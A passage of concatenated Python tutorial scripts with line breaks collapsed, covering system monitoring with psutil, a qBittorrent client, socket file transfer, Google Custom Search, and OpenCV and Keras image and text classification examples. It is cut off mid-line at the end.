print(f"Total CPU Usage: {psutil.cpu_percent()}%") # Memory Information print("="*40, "Memory Information", "="*40) # get the memory details svmem = psutil.virtual_memory() print(f"Total: {get_size(svmem.total)}") print(f"Available: {get_size(svmem.available)}") print(f"Used: {get_size(svmem.used)}") print(f"Percentage: {svmem.percent}%") print("="*20, "SWAP", "="*20) # get the swap memory details (if exists) swap = psutil.swap_memory() print(f"Total: {get_size(swap.total)}") print(f"Free: {get_size(swap.free)}") print(f"Used: {get_size(swap.used)}") print(f"Percentage: {swap.percent}%") # Disk Information print("="*40, "Disk Information", "="*40) print("Partitions and Usage:") # get all disk partitions partitions = psutil.disk_partitions() for partition in partitions: print(f"=== Device: {partition.device} ===") print(f" Mountpoint: {partition.mountpoint}") print(f" File system type: {partition.fstype}") try: partition_usage = psutil.disk_usage(partition.mountpoint) except PermissionError: # this can be catched due to the disk that # isn't ready continue print(f" Total Size: {get_size(partition_usage.total)}") print(f" Used: {get_size(partition_usage.used)}") print(f" Free: {get_size(partition_usage.free)}") print(f" Percentage: {partition_usage.percent}%") # get IO statistics since boot disk_io = psutil.disk_io_counters() print(f"Total read: {get_size(disk_io.read_bytes)}") print(f"Total write: {get_size(disk_io.write_bytes)}") # Network information print("="*40, "Network Information", "="*40) # get all network interfaces (virtual and physical) if_addrs = psutil.net_if_addrs() for interface_name, interface_addresses in if_addrs.items(): for address in interface_addresses: print(f"=== Interface: {interface_name} ===") if str(address.family) == 'AddressFamily.AF_INET': print(f" IP Address: {address.address}") print(f" Netmask: {address.netmask}") print(f" Broadcast IP: {address.broadcast}") elif str(address.family) == 'AddressFamily.AF_PACKET': print(f" MAC Address: {address.address}") print(f" Netmask: {address.netmask}") print(f" Broadcast MAC: {address.broadcast}") # get IO statistics since boot net_io = psutil.net_io_counters() print(f"Total Bytes Sent: {get_size(net_io.bytes_sent)}") print(f"Total Bytes Received: {get_size(net_io.bytes_recv)}") from qbittorrent import Client # connect to the qbittorent Web UI qb = Client("http://127.0.0.1:8080/") # put the credentials (as you configured) qb.login("admin", "adminadmin") # open the torrent file of the file you wanna download torrent_file = open("debian-10.2.0-amd64-netinst.iso.torrent", "rb") # start downloading qb.download_from_file(torrent_file) # this magnet is not valid, replace with yours # magnet_link = "magnet:?xt=urn:btih:e334ab9ddd91c10938a7....." # qb.download_from_link(magnet_link) # you can specify the save path for downloads # qb.download_from_file(torrent_file, savepath="/the/path/you/want/to/save") # pause all downloads qb.pause_all() # resume them qb.resume_all() def get_size_format(b, factor=1024, suffix="B"): """ Scale bytes to its proper byte format e.g: 1253656 => '1.20MB' 1253656678 => '1.17GB' """ for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: if b < factor: return f"{b:.2f}{unit}{suffix}" b /= factor return f"{b:.2f}Y{suffix}" # return list of torrents torrents = qb.torrents() for torrent in torrents: print("Torrent name:", torrent["name"]) print("hash:", torrent["hash"]) print("Seeds:", torrent["num_seeds"]) print("File size:", get_size_format(torrent["total_size"])) print("Download speed:", get_size_format(torrent["dlspeed"]) + "/s") # Torrent name: debian-10.2.0-amd64-netinst.iso # hash: 86d4c80024a469be4c50bc5a102cf71780310074 # Seeds: 70 # File size: 335.00MB # Download speed: 606.15KB/s """ Client that sends the file (uploads) """ import socket import tqdm import os import argparse SEPARATOR = "<SEPARATOR>" BUFFER_SIZE = 1024 * 4 def send_file(filename, host, port): # get the file size filesize = os.path.getsize(filename) # create the client socket s = socket.socket() print(f"[+] Connecting to {host}:{port}") s.connect((host, port)) print("[+] Connected.") # send the filename and filesize s.send(f"{filename}{SEPARATOR}{filesize}".encode()) # start sending the file progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024) with open(filename, "rb") as f: for _ in progress: # read the bytes from the file bytes_read = f.read(BUFFER_SIZE) if not bytes_read: # file transmitting is done break # we use sendall to assure transimission in # busy networks s.sendall(bytes_read) # update the progress bar progress.update(len(bytes_read)) # close the socket s.close() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Simple File Sender") parser.add_argument("file", help="File name to send") parser.add_argument("host", help="The host/IP address of the receiver") parser.add_argument("-p", "--port", help="Port to use, default is 5001", default=5001) args = parser.parse_args() filename = args.file host = args.host port = args.port send_file(filename, host, port) """ Server receiver of the file """ import socket import tqdm import os # device's IP address SERVER_HOST = "0.0.0.0" SERVER_PORT = 5001 # receive 4096 bytes each time BUFFER_SIZE = 4096 SEPARATOR = "<SEPARATOR>" # create the server socket # TCP socket s = socket.socket() # bind the socket to our local address s.bind((SERVER_HOST, SERVER_PORT)) # enabling our server to accept connections # 5 here is the number of unaccepted connections that # the system will allow before refusing new connections s.listen(5) print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}") # accept connection if there is any client_socket, address = s.accept() # if below code is executed, that means the sender is connected print(f"[+] {address} is connected.") # receive the file infos # receive using client socket, not server socket received = client_socket.recv(BUFFER_SIZE).decode() filename, filesize = received.split(SEPARATOR) # remove absolute path if there is filename = os.path.basename(filename) # convert to integer filesize = int(filesize) # start receiving the file from the socket # and writing to the file stream progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024) with open(filename, "wb") as f: for _ in progress: # read 1024 bytes from the socket (receive) bytes_read = client_socket.recv(BUFFER_SIZE) if not bytes_read: # nothing is received # file transmitting is done break # write to the file the bytes we just received f.write(bytes_read) # update the progress bar progress.update(len(bytes_read)) # close the client socket client_socket.close() # close the server socket s.close() import requests import sys # get the API KEY here: https://developers.google.com/custom-search/v1/overview API_KEY = "<INSERT_YOUR_API_KEY_HERE>" # get your Search Engine ID on your CSE control panel SEARCH_ENGINE_ID = "<INSERT_YOUR_SEARCH_ENGINE_ID_HERE>" # the search query you want, from the command line query = sys.argv[1] # constructing the URL # doc: https://developers.google.com/custom-search/v1/using_rest url = f"https://www.googleapis.com/customsearch/v1?key={API_KEY}&cx={SEARCH_ENGINE_ID}&q={query}" # make the API request data = requests.get(url).json() # get the result items search_items = data.get("items") # iterate over 10 results found for i, search_item in enumerate(search_items, start=1): # get the page title title = search_item.get("title") # page snippet snippet = search_item.get("snippet") # alternatively, you can get the HTML snippet (bolded keywords) html_snippet = search_item.get("htmlSnippet") # extract the page url link = search_item.get("link") # print the results print("="*10, f"Result #{i}", "="*10) print("Title:", title) print("Description:", snippet) print("URL:", link, "\n") import cv2 import matplotlib.pyplot as plt import sys # read the image image = cv2.imread(sys.argv[1]) # convert to RGB image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) # convert to grayscale gray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) # create a binary thresholded image _, binary = cv2.threshold(gray, int(sys.argv[2]), 255, cv2.THRESH_BINARY_INV) # show it plt.imshow(binary, cmap="gray") plt.show() # find the contours from the thresholded image contours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) # draw all contours image = cv2.drawContours(image, contours, -1, (0, 255, 0), 2) # show the image with the drawn contours plt.imshow(image) plt.show() import cv2 cap = cv2.VideoCapture(0) while True: _, frame = cap.read() # convert to grayscale gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) # create a binary thresholded image _, binary = cv2.threshold(gray, 255 // 2, 255, cv2.THRESH_BINARY_INV) # find the contours from the thresholded image contours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) # draw all contours image = cv2.drawContours(frame, contours, -1, (0, 255, 0), 2) # show the images cv2.imshow("gray", gray) cv2.imshow("image", image) cv2.imshow("binary", binary) if cv2.waitKey(1) == ord("q"): break cap.release() cv2.destroyAllWindows() import cv2 import numpy as np import matplotlib.pyplot as plt import sys # read the image image = cv2.imread(sys.argv[1]) # convert it to grayscale gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # show the grayscale image, if you want to show, uncomment 2 below lines # plt.imshow(gray, cmap="gray") # plt.show() # perform the canny edge detector to detect image edges edges = cv2.Canny(gray, threshold1=30, threshold2=100) # show the detected edges plt.imshow(edges, cmap="gray") plt.show() import numpy as np import cv2 cap = cv2.VideoCapture(0) while True: _, frame = cap.read() gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) edges = cv2.Canny(gray, 30, 100) cv2.imshow("edges", edges) cv2.imshow("gray", gray) if cv2.waitKey(1) == ord("q"): break cap.release() cv2.destroyAllWindows() import cv2 # loading the test image image = cv2.imread("kids.jpg") # converting to grayscale image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # initialize the face recognizer (default face haar cascade) face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") # detect all the faces in the image faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) # print the number of faces detected print(f"{len(faces)} faces detected in the image.") # for every face, draw a blue rectangle for x, y, width, height in faces: cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2) # save the image with rectangles cv2.imwrite("kids_detected.jpg", image) import cv2 # create a new cam object cap = cv2.VideoCapture(0) # initialize the face recognizer (default face haar cascade) face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") while True: # read the image from the cam _, image = cap.read() # converting to grayscale image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # detect all the faces in the image faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) # for every face, draw a blue rectangle for x, y, width, height in faces: cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2) cv2.imshow("image", image) if cv2.waitKey(1) == ord("q"): break cap.release() cv2.destroyAllWindows() from train import load_data, batch_size from tensorflow.keras.models import load_model import matplotlib.pyplot as plt import numpy as np # CIFAR-10 classes categories = { 0: "airplane", 1: "automobile", 2: "bird", 3: "cat", 4: "deer", 5: "dog", 6: "frog", 7: "horse", 8: "ship", 9: "truck" } # load the testing set # (_, _), (X_test, y_test) = load_data() ds_train, ds_test, info = load_data() # load the model with final model weights model = load_model("results/cifar10-model-v1.h5") # evaluation loss, accuracy = model.evaluate(ds_test, steps=info.splits["test"].num_examples // batch_size) print("Test accuracy:", accuracy*100, "%") # get prediction for this image data_sample = next(iter(ds_test)) sample_image = data_sample[0].numpy()[0] sample_label = categories[data_sample[1].numpy()[0]] prediction = np.argmax(model.predict(sample_image.reshape(-1, *sample_image.shape))[0]) print("Predicted label:", categories[prediction]) print("True label:", sample_label) # show the first image plt.axis('off') plt.imshow(sample_image) plt.show() from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Dropout, Activation, Flatten from tensorflow.keras.layers import Conv2D, MaxPooling2D from tensorflow.keras.callbacks import TensorBoard import tensorflow as tf import tensorflow_datasets as tfds import os # hyper-parameters batch_size = 64 # 10 categories of images (CIFAR-10) num_classes = 10 # number of training epochs epochs = 30 def create_model(input_shape): """ Constructs the model: - 32 Convolutional (3x3) - Relu - 32 Convolutional (3x3) - Relu - Max pooling (2x2) - Dropout - 64 Convolutional (3x3) - Relu - 64 Convolutional (3x3) - Relu - Max pooling (2x2) - Dropout - 128 Convolutional (3x3) - Relu - 128 Convolutional (3x3) - Relu - Max pooling (2x2) - Dropout - Flatten (To make a 1D vector out of convolutional layers) - 1024 Fully connected units - Relu - Dropout - 10 Fully connected units (each corresponds to a label category (cat, dog, etc.)) """ # building the model model = Sequential() model.add(Conv2D(filters=32, kernel_size=(3, 3), padding="same", input_shape=input_shape)) model.add(Activation("relu")) model.add(Conv2D(filters=32, kernel_size=(3, 3), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.25)) model.add(Conv2D(filters=64, kernel_size=(3, 3), padding="same")) model.add(Activation("relu")) model.add(Conv2D(filters=64, kernel_size=(3, 3), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.25)) model.add(Conv2D(filters=128, kernel_size=(3, 3), padding="same")) model.add(Activation("relu")) model.add(Conv2D(filters=128, kernel_size=(3, 3), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.25)) # flattening the convolutions model.add(Flatten()) # fully-connected layers model.add(Dense(1024)) model.add(Activation("relu")) model.add(Dropout(0.5)) model.add(Dense(num_classes, activation="softmax")) # print the summary of the model architecture model.summary() # training the model using adam optimizer model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) return model def load_data(): """ This function loads CIFAR-10 dataset, and preprocess it """ # Loading data using Keras # loading the CIFAR-10 dataset, splitted between train and test sets # (X_train, y_train), (X_test, y_test) = cifar10.load_data() # print("Training samples:", X_train.shape[0]) # print("Testing samples:", X_test.shape[0]) # print(f"Images shape: {X_train.shape[1:]}") # # converting image labels to binary class matrices # y_train = to_categorical(y_train, num_classes) # y_test = to_categorical(y_test, num_classes) # # convert to floats instead of int, so we can divide by 255 # X_train = X_train.astype("float32") # X_test = X_test.astype("float32") # X_train /= 255 # X_test /= 255 # return (X_train, y_train), (X_test, y_test) # Loading data using Tensorflow Datasets def preprocess_image(image, label): # convert [0, 255] range integers to [0, 1] range floats image = tf.image.convert_image_dtype(image, tf.float32) return image, label # loading the CIFAR-10 dataset, splitted between train and test sets ds_train, info = tfds.load("cifar10", with_info=True, split="train", as_supervised=True) ds_test = tfds.load("cifar10", split="test", as_supervised=True) # repeat dataset forever, shuffle, preprocess, split by batch ds_train = ds_train.repeat().shuffle(1024).map(preprocess_image).batch(batch_size) ds_test = ds_test.repeat().shuffle(1024).map(preprocess_image).batch(batch_size) return ds_train, ds_test, info if __name__ == "__main__": # load the data ds_train, ds_test, info = load_data() # (X_train, y_train), (X_test, y_test) = load_data() # constructs the model # model = create_model(input_shape=X_train.shape[1:]) model = create_model(input_shape=info.features["image"].shape) # some nice callbacks logdir = os.path.join("logs", "cifar10-model-v1") tensorboard = TensorBoard(log_dir=logdir) # make sure results folder exist if not os.path.isdir("results"): os.mkdir("results") # train # model.fit(X_train, y_train, # batch_size=batch_size, # epochs=epochs, # validation_data=(X_test, y_test), # callbacks=[tensorboard, checkpoint], # shuffle=True) model.fit(ds_train, epochs=epochs, validation_data=ds_test, verbose=1, steps_per_epoch=info.splits["train"].num_examples // batch_size, validation_steps=info.splits["test"].num_examples // batch_size, callbacks=[tensorboard]) # save the model to disk model.save("results/cifar10-model-v1.h5") from train import load_data, create_model, IMAGE_SHAPE, batch_size, np import matplotlib.pyplot as plt # load the data generators train_generator, validation_generator, class_names = load_data() # constructs the model model = create_model(input_shape=IMAGE_SHAPE) # load the optimal weights model.load_weights("results/MobileNetV2_finetune_last5_less_lr-loss-0.45-acc-0.86.h5") validation_steps_per_epoch = np.ceil(validation_generator.samples / batch_size) # print the validation loss & accuracy evaluation = model.evaluate_generator(validation_generator, steps=validation_steps_per_epoch, verbose=1) print("Val loss:", evaluation[0]) print("Val Accuracy:", evaluation[1]) # get a random batch of images image_batch, label_batch = next(iter(validation_generator)) # turn the original labels into human-readable text label_batch = [class_names[np.argmax(label_batch[i])] for i in range(batch_size)] # predict the images on the model predicted_class_names = model.predict(image_batch) predicted_ids = [np.argmax(predicted_class_names[i]) for i in range(batch_size)] # turn the predicted vectors to human readable labels predicted_class_names = np.array([class_names[id] for id in predicted_ids]) # some nice plotting plt.figure(figsize=(10,9)) for n in range(30): plt.subplot(6,5,n+1) plt.subplots_adjust(hspace = 0.3) plt.imshow(image_batch[n]) if predicted_class_names[n] == label_batch[n]: color = "blue" title = predicted_class_names[n].title() else: color = "red" title = f"{predicted_class_names[n].title()}, correct:{label_batch[n]}" plt.title(title, color=color) plt.axis('off') _ = plt.suptitle("Model predictions (blue: correct, red: incorrect)") plt.show() import tensorflow as tf from keras.models import Model from keras.applications import MobileNetV2, ResNet50, InceptionV3 # try to use them and see which is better from keras.layers import Dense from keras.callbacks import ModelCheckpoint, TensorBoard from keras.utils import get_file from keras.preprocessing.image import ImageDataGenerator import os import pathlib import numpy as np batch_size = 32 num_classes = 5 epochs = 10 IMAGE_SHAPE = (224, 224, 3) def load_data(): """This function downloads, extracts, loads, normalizes and one-hot encodes Flower Photos dataset""" # download the dataset and extract it data_dir = get_file(origin='https://storage.googleapis.com/download.tensorflow.org/example_images/flower_photos.tgz', fname='flower_photos', untar=True) data_dir = pathlib.Path(data_dir) # count how many images are there image_count = len(list(data_dir.glob('*/*.jpg'))) print("Number of images:", image_count) # get all classes for this dataset (types of flowers) excluding LICENSE file CLASS_NAMES = np.array([item.name for item in data_dir.glob('*') if item.name != "LICENSE.txt"]) # roses = list(data_dir.glob('roses/*')) # 20% validation set 80% training set image_generator = ImageDataGenerator(rescale=1/255, validation_split=0.2) # make the training dataset generator train_data_gen = image_generator.flow_from_directory(directory=str(data_dir), batch_size=batch_size, classes=list(CLASS_NAMES), target_size=(IMAGE_SHAPE[0], IMAGE_SHAPE[1]), shuffle=True, subset="training") # make the validation dataset generator test_data_gen = image_generator.flow_from_directory(directory=str(data_dir), batch_size=batch_size, classes=list(CLASS_NAMES), target_size=(IMAGE_SHAPE[0], IMAGE_SHAPE[1]), shuffle=True, subset="validation") return train_data_gen, test_data_gen, CLASS_NAMES def create_model(input_shape): # load MobileNetV2 model = MobileNetV2(input_shape=input_shape) # remove the last fully connected layer model.layers.pop() # freeze all the weights of the model except the last 4 layers for layer in model.layers[:-4]: layer.trainable = False # construct our own fully connected layer for classification output = Dense(num_classes, activation="softmax") # connect that dense layer to the model output = output(model.layers[-1].output) model = Model(inputs=model.inputs, outputs=output) # print the summary of the model architecture model.summary() # training the model using rmsprop optimizer model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) return model if __name__ == "__main__": # load the data generators train_generator, validation_generator, class_names = load_data() # constructs the model model = create_model(input_shape=IMAGE_SHAPE) # model name model_name = "MobileNetV2_finetune_last5" # some nice callbacks tensorboard = TensorBoard(log_dir=f"logs/{model_name}") checkpoint = ModelCheckpoint(f"results/{model_name}" + "-loss-{val_loss:.2f}-acc-{val_acc:.2f}.h5", save_best_only=True, verbose=1) # make sure results folder exist if not os.path.isdir("results"): os.mkdir("results") # count number of steps per epoch training_steps_per_epoch = np.ceil(train_generator.samples / batch_size) validation_steps_per_epoch = np.ceil(validation_generator.samples / batch_size) # train using the generators model.fit_generator(train_generator, steps_per_epoch=training_steps_per_epoch, validation_data=validation_generator, validation_steps=validation_steps_per_epoch, epochs=epochs, verbose=1, callbacks=[tensorboard, checkpoint]) import cv2 import numpy as np import matplotlib.pyplot as plt import sys # read the image image = cv2.imread(sys.argv[1]) # convert to RGB image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) # reshape the image to a 2D array of pixels and 3 color values (RGB) pixel_values = image.reshape((-1, 3)) # convert to float pixel_values = np.float32(pixel_values) # define stopping criteria criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.2) # number of clusters (K) k = 3 compactness, labels, (centers) = cv2.kmeans(pixel_values, k, None, criteria, 10, cv2.KMEANS_RANDOM_CENTERS) # convert back to 8 bit values centers = np.uint8(centers) # flatten the labels array labels = labels.flatten() # convert all pixels to the color of the centroids segmented_image = centers[labels] # reshape back to the original image dimension segmented_image = segmented_image.reshape(image.shape) # show the image plt.imshow(segmented_image) plt.show() # disable only the cluster number 2 (turn the pixel into black) masked_image = np.copy(image) # convert to the shape of a vector of pixel values masked_image = masked_image.reshape((-1, 3)) # color (i.e cluster) to disable cluster = 2 masked_image[labels == cluster] = [0, 0, 0] # convert back to original shape masked_image = masked_image.reshape(image.shape) # show the image plt.imshow(masked_image) plt.show() import cv2 import numpy as np cap = cv2.VideoCapture(0) k = 5 # define stopping criteria criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.2) while True: # read the image _, image = cap.read() # reshape the image to a 2D array of pixels and 3 color values (RGB) pixel_values = image.reshape((-1, 3)) # convert to float pixel_values = np.float32(pixel_values) # number of clusters (K) _, labels, (centers) = cv2.kmeans(pixel_values, k, None, criteria, 10, cv2.KMEANS_RANDOM_CENTERS) # convert back to 8 bit values centers = np.uint8(centers) # convert all pixels to the color of the centroids segmented_image = centers[labels.flatten()] # reshape back to the original image dimension segmented_image = segmented_image.reshape(image.shape) # reshape labels too labels = labels.reshape(image.shape[0], image.shape[1]) cv2.imshow("segmented_image", segmented_image) # visualize each segment if cv2.waitKey(1) == ord("q"): break cap.release() cv2.destroyAllWindows() # to use CPU uncomment below code # import os # os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 # os.environ["CUDA_VISIBLE_DEVICES"] = "-1" # import tensorflow as tf # config = tf.ConfigProto(intra_op_parallelism_threads=5, # inter_op_parallelism_threads=5, # allow_soft_placement=True, # device_count = {'CPU' : 1, # 'GPU' : 0} # ) from keras.preprocessing.text import Tokenizer from keras.preprocessing.sequence import pad_sequences from keras.utils import to_categorical from keras.callbacks import ModelCheckpoint, TensorBoard from sklearn.model_selection import train_test_split import time import numpy as np import pickle from utils import get_embedding_vectors, get_model, SEQUENCE_LENGTH, EMBEDDING_SIZE, TEST_SIZE from utils import BATCH_SIZE, EPOCHS, int2label, label2int def load_data(): """ Loads SMS Spam Collection dataset """ texts, labels = [], [] with open("data/SMSSpamCollection") as f: for line in f: split = line.split() labels.append(split[0].strip()) texts.append(' '.join(split[1:]).strip()) return texts, labels # load the data X, y = load_data() # Text tokenization # vectorizing text, turning each text into sequence of integers tokenizer = Tokenizer() tokenizer.fit_on_texts(X) # lets dump it to a file, so we can use it in testing pickle.dump(tokenizer, open("results/tokenizer.pickle", "wb")) # convert to sequence of integers X = tokenizer.texts_to_sequences(X) print(X[0]) # convert to numpy arrays X = np.array(X) y = np.array(y) # pad sequences at the beginning of each sequence with 0's # for example if SEQUENCE_LENGTH=4: # [[5, 3, 2], [5, 1, 2, 3], [3, 4]] # will be transformed to: # [[0, 5, 3, 2], [5, 1, 2, 3], [0, 0, 3, 4]] X = pad_sequences(X, maxlen=SEQUENCE_LENGTH) print(X[0]) # One Hot encoding labels # [spam, ham, spam, ham, ham] will be converted to: # [1, 0, 1, 0, 1] and then to: # [[0, 1], [1, 0], [0, 1], [1, 0], [0, 1]] y = [ label2int[label] for label in y ] y = to_categorical(y) print(y[0]) # split and shuffle X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=TEST_SIZE, random_state=7) # constructs the model with 128 LSTM units model = get_model(tokenizer=tokenizer, lstm_units=128) # initialize our ModelCheckpoint and TensorBoard callbacks # model checkpoint for saving best weights model_checkpoint = ModelCheckpoint("results/spam_classifier_{val_loss:.2f}", save_best_only=True, verbose=1) # for better visualization tensorboard = TensorBoard(f"logs/spam_classifier_{time.time()}") # print our data shapes print("X_train.shape:", X_train.shape) print("X_test.shape:", X_test.shape) print("y_train.shape:", y_train.shape) print("y_test.shape:", y_test.shape) # train the model model.fit(X_train, y_train, validation_data=(X_test, y_test), batch_size=BATCH_SIZE, epochs=EPOCHS, callbacks=[tensorboard, model_checkpoint], verbose=1) # get the loss and metrics result = model.evaluate(X_test, y_test) # extract those loss = result[0] accuracy = result[1] precision = result[2] recall = result[3] print(f"[+] Accuracy: {accuracy*100:.2f}%") print(f"[+] Precision: {precision*100:.2f}%") print(f"[+] Recall: {recall*100:.2f}%") import os # os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 # os.environ["CUDA_VISIBLE_DEVICES"] = "-1" # import tensorflow as tf # config = tf.ConfigProto(intra_op_parallelism_threads=5, # inter_op_parallelism_threads=5, # allow_soft_placement=True, # device_count = {'CPU' : 1, # 'GPU' : 0} # ) from utils import get_model, int2label, label2int from keras.preprocessing.sequence import pad_sequences import pickle import numpy as np SEQUENCE_LENGTH = 100 # get the tokenizer tokenizer = pickle.load(open("results/tokenizer.pickle", "rb")) model = get_model(tokenizer, 128) model.load_weights("results/spam_classifier_0.05") def get_predictions(text): sequence = tokenizer.texts_to_sequences([text]) # pad the sequence sequence = pad_sequences(sequence, maxlen=SEQUENCE_LENGTH) # get the prediction prediction = model.predict(sequence)[0] # one-hot encoded vector, revert using np.argmax return int2label[np.argmax(prediction)] while True: text = input("Enter the mail:") # convert to sequences print(get_predictions(text)) import tqdm import numpy as np from keras.preprocessing.sequence import pad_sequences from keras.layers import Embedding, LSTM, Dropout, Dense from keras.models import Sequential import keras_metrics SEQUENCE_LENGTH = 100 # the length of all sequences (number of words per sample) EMBEDDING_SIZE = 100 # Using 100-Dimensional GloVe embedding vectors TEST_SIZE = 0.25 # ratio of testing set BATCH_SIZE = 64 EPOCHS = 20 # number of epochs label2int = {"ham": 0, "spam": 1} int2label = {0: "ham", 1: "spam"} def get_embedding_vectors(tokenizer, dim=100): embedding_index = {} with open(f"data/glove.6B.{dim}d.txt", encoding='utf8') as f: for line in tqdm.tqdm(f, "Reading GloVe"): values = line.split() word = values[0] vectors = np.asarray(values[1:], dtype='float32') embedding_index[word] = vectors word_index = tokenizer.word_index # we do +1 because Tokenizer() starts from 1 embedding_matrix = np.zeros((len(word_index)+1, dim)) for word, i in word_index.items(): embedding_vector = embedding_index.get(word) if embedding_vector is not None: # words not found will be 0s embedding_matrix[i] = embedding_vector return embedding_matrix def get_model(tokenizer, lstm_units): """ Constructs the model, Embedding vectors => LSTM => 2 output Fully-Connected neurons with softmax activation """ # get the GloVe embedding vectors embedding_matrix = get_embedding_vectors(tokenizer) model = Sequential() model.add(Embedding(len(tokenizer.word_index)+1, EMBEDDING_SIZE, weights=[embedding_matrix], trainable=False, input_length=SEQUENCE_LENGTH)) model.add(LSTM(lstm_units, recurrent_dropout=0.2)) model.add(Dropout(0.3)) model.add(Dense(2, activation="softmax")) # compile as rmsprop optimizer # aswell as with recall metric model.compile(optimizer="rmsprop", loss="categorical_crossentropy", metrics=["accuracy", keras_metrics.precision(), keras_metrics.recall()]) model.summary() return model from tensorflow.keras.callbacks import TensorBoard import os from parameters import * from utils import create_model, load_20_newsgroup_data # create these folders if they does not exist if not os.path.isdir("results"): os.mkdir("results") if not os.path.isdir("logs"): os.mkdir("logs") if not os.path.isdir("data"): os.mkdir("data") # dataset name, IMDB movie reviews dataset dataset_name = "20_news_group" # get the unique model name based on hyper parameters on parameters.py model_name = get_model_name(dataset_name) # load the data data = load_20_newsgroup_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN) model = create_model(data["tokenizer"].word_index, units=UNITS, n_layers=N_LAYERS, cell=RNN_CELL, bidirectional=IS_BIDIRECTIONAL, embedding_size=EMBEDDING_SIZE, sequence_length=SEQUENCE_LENGTH, dropout=DROPOUT, loss=LOSS, optimizer=OPTIMIZER, output_length=data["y_train"][0].shape[0]) model.summary() tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name)) history = model.fit(data["X_train"], data["y_train"], batch_size=BATCH_SIZE, epochs=EPOCHS, validation_data=(data["X_test"], data["y_test"]), callbacks=[tensorboard], verbose=1) model.save(os.path.join("results", model_name) + ".h5") from tensorflow.keras.layers import LSTM # max number of words in each sentence SEQUENCE_LENGTH = 300 # N-Dimensional GloVe embedding vectors EMBEDDING_SIZE = 300 # number of words to use, discarding the rest N_WORDS = 10000 # out of vocabulary token OOV_TOKEN = None # 30% testing set, 70% training set TEST_SIZE = 0.3 # number of CELL layers N_LAYERS = 1 # the RNN cell to use, LSTM in this case RNN_CELL = LSTM # whether it's a bidirectional RNN IS_BIDIRECTIONAL = False # number of units (RNN_CELL ,nodes) in each layer UNITS = 128 # dropout rate DROPOUT = 0.4 ### Training parameters LOSS = "categorical_crossentropy" OPTIMIZER = "adam" BATCH_SIZE = 64 EPOCHS = 6 def get_model_name(dataset_name): # construct the unique model name model_name = f"{dataset_name}-{RNN_CELL.__name__}-seq-{SEQUENCE_LENGTH}-em-{EMBEDDING_SIZE}-w-{N_WORDS}-layers-{N_LAYERS}-units-{UNITS}-opt-{OPTIMIZER}-BS-{BATCH_SIZE}-d-{DROPOUT}" if IS_BIDIRECTIONAL: # add 'bid' str if bidirectional model_name = "bid-" + model_name if OOV_TOKEN: # add 'oov' str if OOV token is specified model_name += "-oov" return model_name from tensorflow.keras.callbacks import TensorBoard import os from parameters import * from utils import create_model, load_imdb_data # create these folders if they does not exist if not os.path.isdir("results"): os.mkdir("results") if not os.path.isdir("logs"): os.mkdir("logs") if not os.path.isdir("data"): os.mkdir("data") # dataset name, IMDB movie reviews dataset dataset_name = "imdb" # get the unique model name based on hyper parameters on parameters.py model_name = get_model_name(dataset_name) # load the data data = load_imdb_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN) model = create_model(data["tokenizer"].word_index, units=UNITS, n_layers=N_LAYERS, cell=RNN_CELL, bidirectional=IS_BIDIRECTIONAL, embedding_size=EMBEDDING_SIZE, sequence_length=SEQUENCE_LENGTH, dropout=DROPOUT, loss=LOSS, optimizer=OPTIMIZER, output_length=data["y_train"][0].shape[0]) model.summary() tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name)) history = model.fit(data["X_train"], data["y_train"], batch_size=BATCH_SIZE, epochs=EPOCHS, validation_data=(data["X_test"], data["y_test"]), callbacks=[tensorboard], verbose=1) model.save(os.path.join("results", model_name) + ".h5") from tensorflow.keras.preprocessing.sequence import pad_sequences import numpy as np from parameters import * from utils import create_model, load_20_newsgroup_data, load_imdb_data import pickle import os # dataset name, IMDB movie reviews dataset dataset_name = "imdb" # get the unique model name based on hyper parameters on parameters.py model_name = get_model_name(dataset_name) # data = load_20_newsgroup_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN) data = load_imdb_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN) model = 